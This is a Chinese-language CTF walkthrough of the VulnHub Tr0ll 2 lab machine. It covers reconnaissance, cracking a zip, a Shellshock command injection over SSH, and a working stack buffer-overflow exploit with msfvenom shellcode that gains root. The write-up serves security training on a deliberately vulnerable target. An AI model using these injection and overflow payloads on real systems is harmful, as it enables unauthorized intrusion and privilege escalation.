vulnhub-Tr0ll: 2 (考点:脑洞/猜猜猜/linux缓冲区溢出)

https://www.vulnhub.com/entry/tr0ll-2,107/
nat模式,
arp-scan -l 比平常多出来的ip就是靶机

这靶机跟上一个同名作品1一样继续考脑洞,猜猜猜,后面的缓冲区溢出,更是3个door不停的变换加断掉ssh加禁止ls等,够无聊的。。。。

这个缓冲区溢出,也挺诡异,我搜了这台靶机中国人写的外国人写的很多文章。esp地址和shellcode有的人这个可以成功,有的人却不能成。。诡异,看几个老外也说花了很多小时调试也搞不懂。无语。。。。

nmap

21进ftp看,22想到ssh登录shell,80从web网页搜集信息

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-22 19:18 EDT
Nmap scan report for 192.168.189.192
Host is up (0.00084s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

和同名系列1的靶机一样,这个靶机也是猜谜游戏。。不是很喜欢。。。。简单点写。。。
21找到zip。带密码。看看web里有没有密码信息
dirbuster扫到robots.txt
猜路径,这个http://192.168.189.192/dont_bother/里面找到图。下载下来 strings 图片
又告诉你一串话,呵呵,老套路,又是路径192.168.189.192/y0ur_self/

发现都是base64的密码,wget下载,解密base64 -d answer.txt > an.txt
破解zip

fcrackzip lmao.zip -u -D -p an.txt

发现是ssh的密钥
登录,但是失败,且给了个作者的提示

这种带提示的ssh,查了查和shellshock有关。。这里

ssh -i noob noob@192.168.189.192 '() { :;}; /bin/bash'

bash看不到的,tty它

python -c 'import pty; pty.spawn("/bin/bash")'

老套路linpeas.sh 这里 发现这个路径可疑/nothing_to_see_here/choose_wisely/ 翻译就是里面没什么。。。。

三个door的r00t文件似乎是变化交换的。。各有不同的反应。我在1里面发现缓冲区溢出,可以崩溃。然后会不停的断关闭连接,进去后r00t又不同的变,原来的1变成3,之类的,挺无聊的。。这不是故意人造麻烦吗??。。。

靶机自带gdb,也可以拷过来,但我在本机里的测的esp地址和靶机里的不一样??环境不同???我在网上看了很多这篇靶机的文章。。发现每人最后用的esp地址和shell都不固定,用80那个地址有的人可以,有的人不行,得换到90.。。。什么鬼???搞不懂。

测崩溃点很容易,以前的文章都讲了很多了

./r00t $(python -c 'print "A" *300')
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6a413969 -l 300

再试试看看此时的esp地址。。。我最后在靶机的gdb调的用80是可以的

r $(python -c "print 'A' * 268 + 'B' * 4 + 'C' * 16")

得到是0xbffffb80.最后脚本里要反着写
在这里插入图片描述
一开始我准备用这几个简单的shellcode 这里
这里,但最后执行时都报非法操作???什么鬼???网上其他人怎么都可以成功?什么回事,wtf

最后我自己生成shellcode倒成功了。。。。00终止 0a 0d回车换行。所以都要干掉

msfvenom --platform linux -p linux/x86/exec -f c CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86

在这里插入图片描述
完整的shell。door1,2,3,都试试,看真正的那个缓冲区溢出的r00t在哪个door里,很无聊的。。90是nop,什么也不做,往下滑,直到碰到shellcode,保证shellcode能执行,以免shellcode前面的几个被覆盖或其他。。

./r00t $(python -c "print 'A' * 268 + '\x80\xfb\xff\xbf' + '\x90' * 16 + '\xba\x35\xe5\x1f\x9e\xd9\xe1\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x0b\x31\x56\x15\x03\x56\x15\x83\xc6\x04\xe2\xc0\x8f\x14\xc6\xb3\x02\x4d\x9e\xee\xc1\x18\xb9\x98\x2a\x68\x2e\x58\x5d\xa1\xcc\x31\xf3\x34\xf3\x93\xe3\x4f\xf4\x13\xf4\x60\x96\x7a\x9a\x51\x25\x14\x62\xf9\x9a\x6d\x83\xc8\x9d'")

成功root
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值